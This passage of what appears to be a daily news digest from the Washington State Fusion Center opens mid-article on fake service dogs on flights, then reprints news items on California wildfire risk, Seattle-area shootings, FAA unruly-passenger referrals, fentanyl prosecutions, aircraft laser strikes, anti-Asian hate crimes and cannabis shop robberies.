Dishonest pet owners were not deterred. Instead of declaring their animal to be an emotional support animal, they now fully lie and call it a service dog.

Theresa Stern, vice-president of interdisciplinary client services and engagement for [Guide Dogs for the Blind](#), is seething. She navigates life with her eight-year-old yellow labrador, Wills, and can't digest the fact that people are impersonating disabled people to get their pet dogs to fly for free.

“I think of them as checking [their] integrity at the gate. Airlines are requiring you to fill out federal attestations that you are a person with a disability, and that your dog has been specifically trained to mitigate your disability. That's what makes it a service animal.”

The DoT's language is clear: a service animal is a dog individually trained to do work or perform tasks for the benefit of a person with a disability, including those trained for psychiatric support.

This means no [cats, iguanas, peacocks, llamas](#) – all of which have been taken on planes before – or any other non-dog animal.

As for what tasks service dogs do perform, the answer is much more varied. Many mistakenly believe all service dogs are seeing-eye dogs, but today they can be trained to assist a range of disabilities. Organizations often breed and train dogs to take on specific programs generally at no cost to the client. The [cost to these organizations](#) to train one dog ranges from \$20,000 to \$30,000 and takes an average of two to two and a half years.

[Service Dogs of Virginia](#), where Holly was trained, has five programs. “We train autism dogs for young children and young adults on the spectrum; we train physical assistance dogs – the majority of them are trained for individuals who use powerchairs,” explains Sally Day, the director of development. They also train PTSD dogs for veterans and first responders, medical alert dogs and facility dogs working in schools or in counseling settings.

As part of their training, service dogs are taken to airports and on airplanes to acclimatize. “Airports are incredibly complex environments in which you're going to have to use an escalator or an elevator,” says Day. Planes are a whole other level of complex, with their compact space, strange noises and smells, and so many strangers packed together. A fake service dog would be immediately overwhelmed.

Day sounds frustrated as we talk on the phone: “That someone would take their dog that they say means so much to them into an environment like that without any training – what does that tell you?”

Fake service dogs muddy the waters

Travel writer Becca Blond was traveling in the bulkhead seat with her medical alert dog, a pit bull named Bobbi, when an untrained dog across the aisle began barking, snarling and lunging at them.

Bobbi remained quiet, but the flight attendant said she couldn't have a dog fight on her plane. After the other dog's owner admitted she had purchased an illegal service dog license weeks prior, Blond assumed they would be relocated. Instead, it was her who was moved to the back of the plane due to Bobbi's breed, even though she never made a noise.

Disabled travelers with service dogs are also affected indirectly by the proliferation of fake service dogs. Hurtado says Holly is regularly approached by children and adults alike reaching out to pet her. "They completely ignore the fact that [her vest] says do not touch, do not disturb, do not distract." But because fake service dogs can't be interrupted – since they aren't working – people have become accustomed to being allowed to pet dogs with vests on.

The service dog community at large is fearful that increasing bad behavior from fake service dogs will force lawmakers to create restrictive legislation targeting service dogs. "At the end of the day what happens is the airlines get frustrated, the public is frustrated, and then laws can change," Stern explains. "And it could change to be: no dogs [allowed]. And then that makes it so that I can't go where I need to go to live my life."

Are more liberal pet policies the answer?

Despite what some may believe, faking service dog status isn't always about getting dogs to fly for free. Stephanie Brown lives abroad but travels back to the US with her pomeranian, Penny, finding limited options for her to safely bring her dog along. (Both owner and dog are using a pseudonym.)

Brown had Penny registered as an ESA before the DoT removed them from the service dog definition. "At one point last May in 2021, [American Airlines] even paused pets in the hold because of the constant flight changes due to Covid," she says. With no options for bringing the well-behaved Penny in the plane – cabin or hold – Brown registered her on the federal service dog website. American Airlines maintains [their restriction](#) against checking dogs in cargo for regular travelers, as do [Delta Air Lines](#) and [Southwest](#).

There's clear evidence that more liberal pet policies on planes would reduce loophole exploitation. "With a zero-tolerance policy, of course owners are going to find a way for their pet to safely travel in the cabin," Brown argues. "Even charging more for a pet, but making the experience a more comfortable one for the owner and pet would reduce the need to claim a pet as a service or emotional support animal."

Similarly, large-breed dogs have limited options to fly until cargo shipping of pets resumes – and that's only if they don't exceed weight, size and breed constraints – so a solution is needed to ensure they too can travel. If a global service dog accreditation system was implemented and enforced, it would not only guarantee a dog's service status, but perhaps it could also include a way for companion dogs to be verified as safe to fly in the cabin.

In the meantime, both Blond and Hurtado have had their service dog's legitimacy questioned, which is exhausting for them. They feel they shouldn't have to defend themselves just for having a disability.

"I don't think the world owes me anything because I'm disabled," Hurtado says, "but I do feel like it's a right that we have that needs to be taken seriously. People who buy the fake jackets and have the fake service dogs, it's just really disheartening. I see that as no different from somebody parking in a handicapped spot, [who's] not handicapped."

[Return to Top](#)

HEADLINE	02/17 Climate crisis to increase Calif. wildfires?
SOURCE	https://www.theguardian.com/us-news/2022/feb/17/california-wildfires-increase-study

A convergence of dangerous weather conditions, exacerbated by the climate crisis, has set the stage for southern [California](#) to see an increase in catastrophic wildfires over the coming decades, according to a new study.

Southern California, home to 23 million people, has largely been spared the kind of extreme fire escalation experienced in the northern part of the state, but models drawn up by researchers at the University of California, Los Angeles, have predicted that will change.

Wildfires in southern California are often driven by dry winds, low humidity and high temperatures, and the climate crisis is creating the perfect conditions for them to burn hotter, faster and more frequently. Analyzing data from 49 climate stations scattered across the southern coast from Santa Barbara to San Diego, the UCLA study found that the region could see double the number of what scientists call “large fire days” by 2100 if greenhouse gas emissions are not curbed.

Even in a more moderate scenario, where heating is slowed, the researchers’ models showed a 60% increase in high-risk days compared with the late 20th century.

“Things are going to get worse,” Glen MacDonald, a professor of geography at UCLA and the lead author of the study, said.

The researchers analyzed a series of variables that can increase fire risks and found certain climatic characteristics – especially how dry the air is – usually determine when the biggest blazes erupt. “From that we found that you could sort of predict when you were going to have your large fire probability in southern California,” MacDonald said.

After determining the patterns most associated with wildfires, they modeled how those patterns might change in the decades ahead. They found that not only will days get drier, but those days will start to show up earlier in the spring and stick around later into the autumn, thus “extending the probability to a greater part of the year”, he added. They found these high-risk days would probably increase from the 36 days a year documented from the 1970s to the late 1990s, to 71 days a year by 2070.

These conditions won’t just produce more fires – they will also affect fire behavior, making them more destructive and harder to contain.

Southern California’s landscapes, which are dominated by grassland and shrubland rather than large forests, burn and recover differently from their northern neighbors. Decades of poor land management and tamping down on Indigenous practices of prescribed burnings has also left northern California’s forests overcrowded and primed for bad burns – an issue that’s less prevalent in the south.

That’s partly why, MacDonald says, the regions have had such different experiences with wildfire. “It’s not like climatologically we have been dodging the bullet – but we just haven’t seen the same impact that we see in the more remote regions of northern California and the Sierra Nevada in those forested systems.”

That doesn’t mean the rest of the state will be spared. A separate study released last year, led by researchers at University of California, Irvine, [looked at the temperatures in the Sierra Nevada](#) range during 450 fires that ignited there between 2001 and 2020. Their analysis shows that, as warming gets worse and temperatures continue to spike, fires in Sierra Nevada could increase by 20% or more over the next 20 years. The amount of land burned will increase even more sharply, rising by 25% by the 2040s.

“Wildfires are really sensitive to small changes in temperatures,” says Aurora Gutierrez, a project specialist in UCI’s department of earth system science and lead author of the Sierra Nevada study. The researchers found that for every 1C (1.8F) rise in temperature, fire risk increases by up to 22%. Over the next two decades the region is expecting temperatures to increase by 2C (3.6F).

	<p>“When it’s hot for a long time it leads to these megafires that are resistant to fire suppression practices,” Gutierrez says. “In extreme conditions like this, whatever is going to burn is going to burn – and you can’t really do much to stop it.”</p> <p>Fires are already exhibiting more extreme behavior, adding new challenges to containment efforts.</p> <p>One new phenomenon, documented in a study published on Wednesday and led by MacDonald’s colleagues at UCLA, is blazes are more likely to burn through the night. The study found that, globally, night fires have grown 7.2% in intensity over the last two decades thanks to hot, dry conditions that persist after sunset, closing what was once an essential window to tame the flames.</p> <p>While MacDonald sees these results as a clear call for immediate action to reduce emissions, he emphasized that the models show predictions, not guarantees. There are still ways to avoid a future with even more catastrophic wildfires.</p> <p>“What we are seeing with the climate system is we are loading the dice,” MacDonald says. “It’s a roll of the dice but we are loading them with more and more days where you have this high probability of a fire and that spark has a greater opportunity to occur when it’s really going to cause damage.”</p>
Return to Top	

Crime, Criminals

[Top of page](#)

HEADLINE	02/17 Seattle police: 2 men shot, wounded
SOURCE	https://komonews.com/news/local/suspect-sought-after-2-men-shot-wounded-in-seattle-police-say
GIST	<p>SEATTLE — Seattle police were searching early Thursday for the suspect who shot and wounded two men, authorities said.</p> <p>The shooting occurred shortly after midnight near 3rd Avenue and Cedar Street, according to a police statement.</p> <p>The two victims, who were not immediately identified, were rushed for treatment to Harborview Medical Center. Information about their conditions were not immediately available.</p> <p>Police did not immediately say what led to the shooting or if the victims knew the person who shot them. The suspect ran from the scene after the shooting.</p>
Return to Top	

HEADLINE	02/16 FAA: 80 unruly passenger cases to FBI
SOURCE	https://www.q13fox.com/news/faa-sends-80-unruly-airline-passenger-cases-to-fbi-for-possible-criminal-prosecution
GIST	<p>The Federal Aviation Administration (FAA) said Wednesday that it sent 80 unruly airline passenger cases to the FBI for possible criminal prosecution.</p> <p>The FAA told FOX Business that these were the "most egregious" incidents out of the nearly 6,500 cases reported since January 2021.</p> <p>Airlines have already reported 499 cases of unruly passenger incidents since the beginning of 2022, according to FAA data. The majority of cases, 324, are related to passengers not abiding by the federal mask mandate.</p> <p>The FAA started investigations into 123 of those reported cases and initiated enforcement action in 59 cases, which means the FAA is in the process of levying fines for those passengers.</p>

In 2021, there were over 5,900 cases reported to the FAA.

Although the FAA has the ability to propose hefty fines against unruly passengers – as much as \$37,000 per violation – it can't prosecute criminal cases.

Last August, officials from the FAA and Justice Department began meeting to "develop an efficient method for referring the most serious unruly-passenger cases for potential criminal prosecution," the agencies previously said in a joint statement.

By November, the FAA had already sent the FBI 37 cases and said that it will continue to regularly forward cases over to the agency.

The FAA has been proposing fines against passengers who assault, threaten, intimidate or interfere with airline crew members since January 2021 when it adopted its [zero-tolerance policy](#). It reported that the rate of incidents has dropped by half since record-highs reported in early 2021 "but there remains more work to do."

Delta CEO Ed Bastian even asked the Justice Department to create a national "no-fly" list for people convicted of a disruption onboard a flight, saying that there should be "zero tolerance" for any behavior that affects flight safety.

"This action will help prevent future incidents and serve as a strong symbol of the consequences of not complying with crew member instructions on commercial aircraft," Bastian wrote in the letter furnished to The Associated Press by Delta Air Lines.

[Return to Top](#)

HEADLINE	02/16 Controlled substance homicide cases
SOURCE	https://www.q13fox.com/news/king-county-prosecutors-look-to-charge-drug-dealers-with-homicide-as-overdose-deaths-continue-to-rise
GIST	<p>SEATTLE - With fentanyl deaths soaring across the country and locally in King County, prosecutors are working to build up more cases against drug dealers to charge them with controlled substance homicide.</p> <p>In King County, the rate of fentanyl overdoses has risen 650% over the last five years, and 1 in nine drug-related deaths in the state have been the result of an illegal synthetic drug, which is almost always fentanyl.</p> <p>In June, 25-year-old Ariel LaBaw died of an overdose. Police found pills that they immediately recognized as fentanyl next to her.</p> <p>A man named Treven Lane was arrested in connection to her death as police had reason to believe he was the one who sold her the fentanyl.</p> <p>Rather than charge him with drug dealing, King County prosecutors charged him with controlled substance homicide-- a more serious crime that is even more difficult to prove.</p> <p>Using text messages between LaBaw and Lane and using cell phone triangulation, detectives believe they are able to prove Lane provided the pill that killed LaBaw.</p> <p>"Based on the timeline here between Lane and LaBaw, we felt that we can prove beyond a reasonable doubt that he was the person that delivered the fatal fentanyl to her," said prosecutor Joe Marchesano.</p> <p>King County has issued a warning on fentanyl circulating in the area, now in the form of white powder.</p>

	<p>The use of fentanyl can actually help investigators in these cases-- a high dose of fentanyl can kill quickly, so much so that the medical examiner can determine if fentanyl could be the cause of death even if other narcotics are in someone's system.</p> <p>"There can be different substances in someone's system, so one of the things we need to do is show a direct link between drug delivery and the drug that caused the person's death," Marchesano said.</p> <p>It only takes one pill for a person to get a homicide-- they don't have to deal in the dozens.</p> <p>Since 2019, 11 cases of suspected controlled substance homicide have been referred to the King County prosecutor's office by police, but it's only resulted in six charges.</p>
	Return to Top

HEADLINE	02/16 Dozen flights hit by laser strikes near SEA
SOURCE	https://www.kiro7.com/news/local/12-flights-hit-by-laser-strikes-near-sea-tac-tuesday/CKXIJCPCBVAYNLAB2LAQBBNZFU/
GIST	<p>SEATAC, Wash. — Twelve flight crews reported laser strikes near Seattle-Tacoma International Airport Tuesday evening.</p> <p>The crews reported being illuminated by a green laser between 6:18 p.m. and 8:22 p.m., a Federal Aviation Administration spokeswoman said.</p> <p>No one was hurt.</p> <p>The FAA notified local police, who will investigate.</p> <p>Crews on the following flights reported the strikes:</p> <ul style="list-style-type: none"> • Delta Air Lines Flight 680, a Boeing B739, at 1,400 feet, about three miles north-northwest of the airport. • Southwest Airlines Flight 1668, Boeing B737, at 2,200 feet, about 6 miles north-northwest of the airport. • Alaska Airlines Flight 792, a Boeing B739, at 800 feet, about one mile from the airport. • Alaska Airlines Flight 3, a Boeing B738, at 1,500 feet, about 4 miles from the airport. • Sky West Airlines Flight 3593, an Embraer E75L, at 2,000 feet, about 4 miles south-southeast of the airport. • Alaska Airlines Flight 64, a Boeing B737, at 1,600 feet, about 3 miles south-southeast of the airport. • Alaska Airlines Flight 1430, a Boeing B739, at 15,500 feet, about 34 miles south of the airport. • Delta Air Lines Flight 452, a Boeing B752, at 1,600 feet, about 2 and 1/2 miles southeast of the airport. • Sky West Airlines Flight 3516, an Embraer E75L, at 800 feet, about one mile north-northwest of the airport. • Alaska Airlines Flight 126, a Boeing B738, at 900 feet, about one mile south-southeast of the airport. • Horizon Airlines Flight 2223, a De Havilland DH8D, at 800 feet, about one mile north-northwest of the airport. • Horizon Airlines Flight 2084, an Embraer E75L, at 800 feet, about one mile north-northwest of the airport. <p>This comes after more than 30 flights were hit with lasers near the airport within the last few weeks.</p> <p>Shining a laser at an aircraft is punishable by the FAA, with fines of up to \$11,000 per incident and up to \$30,800 for multiple laser incidents.</p> <p>The FAA issued \$120,000 in fines for laser strikes during 2021.</p>

	Violators can also face criminal charges from federal, state and local law enforcement agencies.
Return to Top	

HEADLINE	02/16 Frustration: spike in anti-Asian hate crimes
SOURCE	https://www.king5.com/article/news/crime/spike-in-aapi-hate-crimes-call-for-action-washington-seattle/281-885bb67a-3463-482f-81bb-67a883399be9
GIST	<p>SEATTLE — In New York, frustration is growing over the rise in unprovoked violence against members of the Asian American and Pacific Islander (AAPI) community.</p> <p>In the past month, two Asian American women were murdered in what investigators describe as 'random attacks' in New York. The two attacks have underscored the staggering rise of anti-Asian violence.</p> <p>Christina Lee, 35, was stabbed to death in her New York apartment Sunday night. In January, Michelle Go, 40, was pushed in front of an oncoming train in Times Square.</p> <p>The motives in both cases are still under investigation.</p> <p>Members of the Asian American community say a rise in violent attacks has them living in fear.</p> <p>Across the country, Seattle's AAPI community has also been rocked by incidents of hate.</p> <p>“It's very personal, it's very painful. Yes, their fear is warranted,” said Noriko Nasu, a Seattle area teacher.</p> <p>Last year, Nasu was jumped by a man in Seattle’s China Town district. The suspect Sean Holdip has since been charged with two counts of second-degree felony assault.</p> <p>In surveillance video, Holdip appears to strike Nasu in the face with a sock filled with rocks.</p> <p>“The attacker was in Chinatown because he wanted to find a target that is Asian,” said Nasu. “I avoid Chinatown now... I do have fear.”</p> <p>Nasu’s attacker isn't being charged with a hate crime.</p> <p>“As horrible as this attack was, we do not believe we can prove a hate crime before a jury beyond a reasonable doubt at this point with the information we have from police investigators,” wrote Casey McNerthney with the King County Prosecutor’s office in an email to the Facing Race team.</p> <p>McNerthney points out, in some cases, a felony assault charge carries a harsher penalty than a hate crime conviction.</p> <p>Nationwide, reports of hate crimes against the AAPI community have skyrocketed since the pandemic began.</p> <p>According to data compiled by the Center for the Study of Hate and Extremism at California State University, reports of anti-Asian hate crimes jumped 342% from 2020 to 2021 in eight large US cities.</p> <p>In King County, the number of anti-Asian hate crime cases nearly doubled at the start of the pandemic, with 40 cases reported in 2020.</p> <p>That number dropped to just 21 cases last year. Yet the prosecutor's office and activists say hate crime cases continue to be severely underreported.</p>

	<p>”We know these are undercounts. We know our community has had an explosion of these incidents and people are fearful, they're outraged, they're upset,” said Helen Zia, an author and activist. Zia points to anti-Asian rhetoric in the media as fueling the violence.</p> <p>“The overriding stereotype or view of Asian Americans is that we are weak and passive. And for women, that we are vulnerable. It just makes them targets of predators,” said Zia.</p> <p>Nasu says solving the problem means not only focusing on the issue of racism, but the glaring gaps in our public health system.</p> <p>“I think we really need to address the need for solving homelessness and providing mental health care,” said Nasu.</p> <p>Holdip, the man charged in Nasu’s assault, is currently in Western State Hospital, undergoing a competency evaluation to see if he is fit to stand trial. His next court date is scheduled for April 5th.</p>
	Return to Top

HEADLINE	02/16 Cannabis industry alarm on string of thefts
SOURCE	https://www.thenewstribune.com/news/local/article258461438.html
GIST	<p>Cannabis shops in Washington state have been hit hard in a recent spate of robberies, prompting those affected to ask federal lawmakers to address their safety concerns over running mostly cash businesses.</p> <p>WHY TARGET CANNABIS SHOPS?</p> <p>According to Washington CannaBusiness Association spokesperson Aaron Pickus, more and more licensed cannabis shops have been targeted for robberies because of the federal banking laws that keep their businesses almost strictly cash.</p> <p>According to Pickus, about 90% of transactions are done with cash, while some shops offer a type of prepaid debit card, leaving the store stocked with cash and products that motivate the robberies.</p> <p>The Tacoma Police Department has recently responded to five cannabis shop robberies in seven days, and investigations are underway.</p> <p>Kevin Heiderich, co-owner of House of Cannabis in Tacoma which was robbed on February 14, said three of his employees had guns held to their heads as the robbers stole about \$6,000 in cash. Last week, Olympia police called for help in identifying those involved in a similar robbery at Forbidden Cannabis in Lacey who were captured on security camera.</p> <p>“The robbery began and was over in two minutes,” Heiderich said. “They walked in at 11:42 p.m. on Valentine’s Day, 18 minutes before closing time. Clearly their first method was to control the employees, they forced them into the back room, held guns to their heads on the ground, and one of the robbers returned to the front and emptied all the tills.”</p> <p>“We want to make things as safe as possible for our employees and customers. Thankfully no employees were hurt,” Heiderich said.</p> <p>This was the second time House of Cannabis’ Tacoma location has been robbed, the last robbery taking place in August 2020.</p> <p>More employees and customers throughout the recent spike have been threatened and held at gunpoint, some robbers even hitting multiple shops in one night.</p> <p>“We do know that law enforcement is acting on this, and it will remain a concern for safety until things change,”notes CannaBusiness Association’s Pickus.</p>

	<p>“The spike is from many things. People have known about the flow of cash since it was legalized. Masks also make it easier for someone who has an intention of robbing your store to hide their face, which is likely a factor. Every incident is different. Whether you agree with cannabis legalization or not, this is a safety issue.”</p> <p>HOW BUSINESSES ARE ADDRESSING THE SAFETY ISSUE</p> <p>Pickus and the CannaBusiness Association are sounding the alarm on safety concerns and trying to educate others, particularly federal lawmakers, that a mostly-cash business poses a potential threat to the safety of those in the building – employees and customers alike.</p> <p>“There is disagreement on what the best path forward is for legalization of cannabis, but people are seeing the need for public safety and support this just as someone would if it was farmers markets getting targeted,” Pickus said. “Because of the spike we’re looking at what we can do locally, because who knows when Congress will change and support this.”</p> <p>Bills are currently going through legislation to turn the prohibition around and allow cannabis shops to collect payments in safer ways. Pickus also mentioned a few efforts in Olympia that would increase penalties for targeting a cannabis store to as much as targeting a pharmacy.</p>
	Return to Top

HEADLINE	02/16 Deputies: double shooting east Pierce Co.
SOURCE	https://www.thenewstribune.com/news/local/article258481813.html
GIST	<p>Two men were shot Wednesday at an unused agricultural facility on Pioneer Way East, but neither was immediately found there when deputies arrived, according to the Pierce County Sheriff’s Department.</p> <p>The bizarre series of events began about 3 p.m. when a caller to 911 reported a shooting and someone on the ground in the 5100 block of the heavily traveled road between Tacoma and Puyallup.</p> <p>When deputies arrived, no victims could be located at the site. The property is centered on a large barn that appears to have once housed animals but is now filled with and surrounded by junk vehicles.</p> <p>“We found evidence of a shooting and talked to people on the property,” said Sheriff’s Department spokesperson Sgt. Darren Moss.</p> <p>At 4 p.m., the wife of a 33-year-old man called 911 to say her husband had been shot and was at the couple’s residence in the area of East 64th Street and 48th Avenue East, about 2-1/2 miles away from the Pioneer Way location.</p> <p>“We went over there and applied a tourniquet and stopped the bleeding,” Moss said.</p> <p>The man, it was learned, had been shot at the Pioneer Way East location and drove himself home.</p> <p>Fire crews transported the man to a local hospital with non-life threatening injuries, Moss said.</p> <p>Meanwhile, investigators were combing the property, looking for evidence and talking to witnesses. “It’s not until 4:45 p.m. when the second guy comes to us and says, ‘Hey, I’ve been shot,’” Moss said.</p> <p>It’s unknown where the man had been prior to seeking help.</p> <p>That 40-year-old man had serious injuries from at least one gunshot wound. He also was transported to a local hospital.</p> <p>Earlier in the day, before the shooting, deputies had visited the barn. “Our deputies have been getting complaints about squatters and stolen vehicles (at the location),” Moss aid.</p>

	“They were there proactively.” There were no arrests made in the shooting. Investigators were on the scene into the evening hours.
Return to Top	

Information From Online Communities and Unclassified Sources/InFOCUS is a situational awareness report published daily by the Washington State Fusion Center.

If you no longer wish to receive this report, please submit an email to intake@wsfc.wa.gov and enter UNSUBSCRIBE InFOCUS in the Subject line.

DISCLAIMER - the articles highlighted within InFOCUS is for informational purposes only and do not necessarily reflect the views of the Washington State Fusion Center, the City of Seattle, the Seattle Police Department or the Washington State Patrol and have been included only for ease of reference and academic purposes.

FAIR USE Notice All rights to these copyrighted items are reserved. Articles and graphics have been placed within for educational and discussion purposes only, in compliance with 'Fair Use' criteria established in Section 107 of the Copyright Act of 1976. The principle of 'Fair Use' was established as law by Section 107 of The Copyright Act of 1976. 'Fair Use' legally eliminates the need to obtain permission or pay royalties for the use of previously copyrighted materials if the purposes of display include 'criticism, comment, news reporting, teaching, scholarship, and research.' Section 107 establishes four criteria for determining whether the use of a work in any particular case qualifies as a 'fair use'. A work used does not necessarily have to satisfy all four criteria to qualify as an instance of 'fair use'. Rather, 'fair use' is determined by the overall extent to which the cited work does or does not substantially satisfy the criteria in their totality. If you wish to use copyrighted material for purposes of your own that go beyond 'fair use,' you must obtain permission from the copyright owner. For more information go to: [≤http://www.law.cornell.edu/uscode/17/107.shtml≥](http://www.law.cornell.edu/uscode/17/107.shtml)

THIS DOCUMENT MAY CONTAIN COPYRIGHTED MATERIAL. COPYING AND DISSEMINATION IS PROHIBITED WITHOUT PERMISSION OF THE COPYRIGHT OWNERS.

Source: <http://www.law.cornell.edu/uscode/17/107.shtml>

[Return to Top](#)